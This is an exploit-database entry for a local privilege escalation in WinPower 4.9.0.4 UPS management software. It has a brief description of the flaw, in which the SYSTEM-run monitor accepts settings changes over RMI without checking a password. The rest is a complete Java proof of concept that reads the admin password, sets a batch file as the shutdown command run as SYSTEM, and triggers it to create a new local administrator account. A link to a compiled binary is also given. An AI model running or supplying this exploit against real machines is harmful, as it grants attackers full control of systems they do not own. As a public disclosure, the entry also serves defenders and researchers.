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# WinPower 4.9.0.4 Privilege Escalation Vulnerability

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# Exploit Title: WinPower V4.9.0.4 Privilege Escalation
# Date: 29-11-2016
# Software Link: http://www.ups-software-download.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: local
  
1. Description
 
UPSmonitor runs as SYSTEM process.
 
We can communicate with monitor using RMI interface.
 
In manager app there’s an “Administrator” password check, but the password isn’t verified inside monitor process.
 
So we can modify any application settings without knowing administrator password.
 
What is more interesting we can set command which will be executed when monitor get “remote shutdown command”.
 
Because monitor runs as SYSTEM process, this command is also executed with SYSTEM privileges.
 
So using this we can create new administrator account.
 
http://security.szurek.pl/winpower-v4904-privilege-escalation.html
 
2. Proof of Concept
 
/*
WinPower V4.9.0.4 Privilege Escalation
Download: http://www.ups-software-download.com/
by Kacper Szurek
http://security.szurek.pl/
*/
import com.adventnet.snmp.snmp2.*;
import java.io.*;
import wprmi.SimpleRMIInterface;
 
public class WinPowerExploit {
    private static String command_path = System.getProperty("user.dir") + "\\command.bat";
    private static String command_username = "wpexploit";
 
    private static void send_snmp_packet(String IP, SnmpPDU sendPDU) throws SnmpException {
        SnmpAPI api = new SnmpAPI();
        api.setCharacterEncoding("UTF-8");
        api.start();
 
        SnmpSession session = new SnmpSession(api);
        session.open();
        session.setPeername(IP);
        session.setRemotePort(2199);
        session.send(sendPDU);
    }
 
    public static void sendShutdownCommand(String agentIP) throws SnmpException {
        SnmpPDU pdu2 = new SnmpPDU();
        pdu2.setCommand((byte) -92);
        SnmpOID oid = new SnmpOID(".1.3.6.1.2.1.33.1.6.3.25.0");
        pdu2.setEnterprise(oid);
        byte dataType = 4;
        SnmpVar var = SnmpVar.createVariable("", dataType);
        SnmpVarBind varbind = new SnmpVarBind(oid, var);
        pdu2.addVariableBinding(varbind);
        send_snmp_packet(agentIP, pdu2);
    }
 
    private static void create_command_file() throws IOException {
        Writer writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(command_path), "utf-8"));
        writer.write("net user " + command_username + " /add\n");
        writer.write("net localgroup administrators " + command_username + " /add\n");
        writer.write("net stop UPSmonitor");
        writer.close();
    }
 
    private static String exec_cmd(String cmd) throws java.io.IOException {
        Process proc = Runtime.getRuntime().exec(cmd);
        java.io.InputStream is = proc.getInputStream();
        java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
        String val = "";
        if (s.hasNext()) {
            val = s.next();
        } else {
            val = "";
        }
        return val;
    }
 
    private static boolean is_user_exist() throws IOException {
        String output = exec_cmd("net user");
        return output.contains(command_username);
    }
 
    public static void main(String[] args) {
        try {
            System.out.println("WinPower V4.9.0.4 Privilege Escalation");
            System.out.println("by Kacper Szurek");
            System.out.println("http://security.szurek.pl/");
 
            String is_service_started = exec_cmd("sc query UPSmonitor");
            if (!is_service_started.contains("RUNNING")) {
                System.out.println("[-] Monitor service not running");
                System.exit(0);
            }
 
            create_command_file();
            System.out.println("[*] Create shutdown command: " + command_path);
 
            wprmi.SimpleRMIInterface myServerObject = (SimpleRMIInterface) java.rmi.Naming.lookup("rmi://127.0.0.1:2099/SimpleRMIImpl");
            String root_password = myServerObject.getDataString(29, 1304, -1, 0);
            System.out.println("[+] Get root password: " + root_password);
            System.out.println("[+] Enable running command on shutdown");
            myServerObject.setData(29, 262, 1, "", -1L, 0);
 
            System.out.println("[+] Set shutdown command path");
            myServerObject.setData(29, 235, -1, command_path, -1L, 0);
 
            System.out.println("[+] Set execution as SYSTEM");
            myServerObject.setData(29, 203, 0, "", -1L, 0);
 
            System.out.println("[+] Allow remote shutdown");
            myServerObject.setData(29, 263, 1, "", -1L, 0);
 
            System.out.println("[+] Add localhost as remote shutdown agent");
            myServerObject.setData(29, 299, -1, "127.0.0.1 ", -1L, 0);
 
            System.out.println("[+] Set delay to 999");
            myServerObject.setData(29, 236, 999, "", -1L, 0);
 
            System.out.println("[+] Send shutdown command");
            sendShutdownCommand("127.0.0.1");
 
            System.out.print("[+] Waiting for admin account creation");
 
            int i = 0;
            while (i < 15) {
                if (is_user_exist()) {
                    System.out.println("\n[+] Account created, now login as: " + command_username);
                    System.exit(0);
                    break;
                } else {
                    System.out.print(".");
                    Thread.sleep(2000);
                }
                i += 1;
            }
 
            System.out.print("\n[-] Exploit failed, admin account not created");
            System.exit(1);
        } catch (Exception e) {
            System.out.println("\n[-] Error: " + e.getMessage());
        }
    }
}
 
Compiled Exploit:
 
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40848.class

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# Iranian Exploit DataBase = http://IeDb.Ir [2016-12-02]

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